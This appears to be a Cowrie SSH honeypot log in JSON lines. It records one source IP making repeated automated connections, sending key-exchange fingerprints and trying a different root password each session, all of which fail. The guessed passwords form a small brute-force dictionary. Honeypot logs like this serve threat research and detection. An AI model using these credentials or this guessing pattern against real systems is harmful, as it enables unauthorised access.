{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:49.930557Z","src_ip":"60.165.124.241","session":"be45666b9f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russell","message":"login attempt [root/russell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:50.649065Z","src_ip":"60.165.124.241","session":"be45666b9f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:51.887541Z","src_ip":"60.165.124.241","session":"be45666b9f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43648,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6e10190dd2","protocol":"ssh","message":"New connection: 60.165.124.241:43648 (10.17.0.5:22) [session: bc6e10190dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:52.120280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:52.125192Z","src_ip":"60.165.124.241","session":"bc6e10190dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:52.361229Z","src_ip":"60.165.124.241","session":"bc6e10190dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rocks","message":"login attempt [root/rocks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:53.076022Z","src_ip":"60.165.124.241","session":"bc6e10190dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:54.315602Z","src_ip":"60.165.124.241","session":"bc6e10190dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46764,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0928dcbeaa3","protocol":"ssh","message":"New connection: 60.165.124.241:46764 (10.17.0.5:22) [session: f0928dcbeaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:54.582200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:54.586755Z","src_ip":"60.165.124.241","session":"f0928dcbeaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:54.840421Z","src_ip":"60.165.124.241","session":"f0928dcbeaa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz@1234","message":"login attempt [root/qaz@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:55.614863Z","src_ip":"60.165.124.241","session":"f0928dcbeaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:56.871484Z","src_ip":"60.165.124.241","session":"f0928dcbeaa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50250,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1af0b8d8a3a","protocol":"ssh","message":"New connection: 60.165.124.241:50250 (10.17.0.5:22) [session: e1af0b8d8a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:57.090332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:57.095447Z","src_ip":"60.165.124.241","session":"e1af0b8d8a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:57.333867Z","src_ip":"60.165.124.241","session":"e1af0b8d8a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WEAVERecology!","message":"login attempt [root/WEAVERecology!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:58.060938Z","src_ip":"60.165.124.241","session":"e1af0b8d8a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:59.303872Z","src_ip":"60.165.124.241","session":"e1af0b8d8a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52754,"dst_ip":"10.17.0.5","dst_port":22,"session":"daeda6152939","protocol":"ssh","message":"New connection: 60.165.124.241:52754 (10.17.0.5:22) [session: daeda6152939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:59.535729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:59.540211Z","src_ip":"60.165.124.241","session":"daeda6152939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:59.776668Z","src_ip":"60.165.124.241","session":"daeda6152939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1020304050","message":"login attempt [root/1020304050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:00.502333Z","src_ip":"60.165.124.241","session":"daeda6152939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:01.744550Z","src_ip":"60.165.124.241","session":"daeda6152939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55910,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c5662beaad2","protocol":"ssh","message":"New connection: 60.165.124.241:55910 (10.17.0.5:22) [session: 0c5662beaad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:01.979689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:01.986530Z","src_ip":"60.165.124.241","session":"0c5662beaad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:02.226156Z","src_ip":"60.165.124.241","session":"0c5662beaad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456@","message":"login attempt [root/root123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:02.962461Z","src_ip":"60.165.124.241","session":"0c5662beaad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:04.203245Z","src_ip":"60.165.124.241","session":"0c5662beaad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"da39a8848dd4","protocol":"ssh","message":"New connection: 60.165.124.241:58924 (10.17.0.5:22) [session: da39a8848dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:04.437754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:04.443820Z","src_ip":"60.165.124.241","session":"da39a8848dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:04.683037Z","src_ip":"60.165.124.241","session":"da39a8848dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wang@123","message":"login attempt [root/Wang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:05.409932Z","src_ip":"60.165.124.241","session":"da39a8848dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:06.656029Z","src_ip":"60.165.124.241","session":"da39a8848dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33716,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a828a531e7","protocol":"ssh","message":"New connection: 60.165.124.241:33716 (10.17.0.5:22) [session: 71a828a531e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:06.924823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:06.930902Z","src_ip":"60.165.124.241","session":"71a828a531e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:07.186909Z","src_ip":"60.165.124.241","session":"71a828a531e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2025!","message":"login attempt [root/P@ssw0rd2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:07.960938Z","src_ip":"60.165.124.241","session":"71a828a531e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:09.224905Z","src_ip":"60.165.124.241","session":"71a828a531e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37062,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50eff5c1917","protocol":"ssh","message":"New connection: 60.165.124.241:37062 (10.17.0.5:22) [session: d50eff5c1917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:09.445234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:09.451927Z","src_ip":"60.165.124.241","session":"d50eff5c1917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:09.698622Z","src_ip":"60.165.124.241","session":"d50eff5c1917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE","message":"login attempt [root/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:10.425436Z","src_ip":"60.165.124.241","session":"d50eff5c1917","protocol":"ssh"}
